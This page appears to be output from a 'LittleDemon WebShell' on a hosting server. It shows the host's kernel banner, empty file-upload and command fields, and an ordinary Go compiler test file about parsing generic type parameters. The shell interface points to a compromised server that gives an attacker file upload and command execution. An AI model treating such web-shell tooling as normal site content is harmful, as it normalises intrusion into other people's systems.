LittleDemon WebShell


Linux in-mum-web1499.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
Path : /opt/golang/1.22.0/src/internal/types/testdata/fixedbugs/
File Upload :
Command :
Current File : //opt/golang/1.22.0/src/internal/types/testdata/fixedbugs/issue49482.go

// Copyright 2022 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package p

// The following is OK, per the special handling for type literals discussed in issue #49482.
type _[P *struct{}] struct{}
type _[P *int,] int
type _[P (*int),] int

const P = 2 // declare P to avoid noisy 'undefined' errors below.

// The following parse as invalid array types due to parsing ambiguitiues.
type _ [P *int /* ERROR "int (type) is not an expression" */ ]int
type _ [P /* ERROR "non-function P" */ (*int)]int

// Adding a trailing comma or an enclosing interface resolves the ambiguity.
type _[P *int,] int
type _[P (*int),] int
type _[P interface{*int}] int
type _[P interface{(*int)}] int

// The following parse correctly as valid generic types.
type _[P *struct{} | int] struct{}
type _[P *struct{} | ~int] struct{}

LittleDemon - FACEBOOK
[ KELUAR ]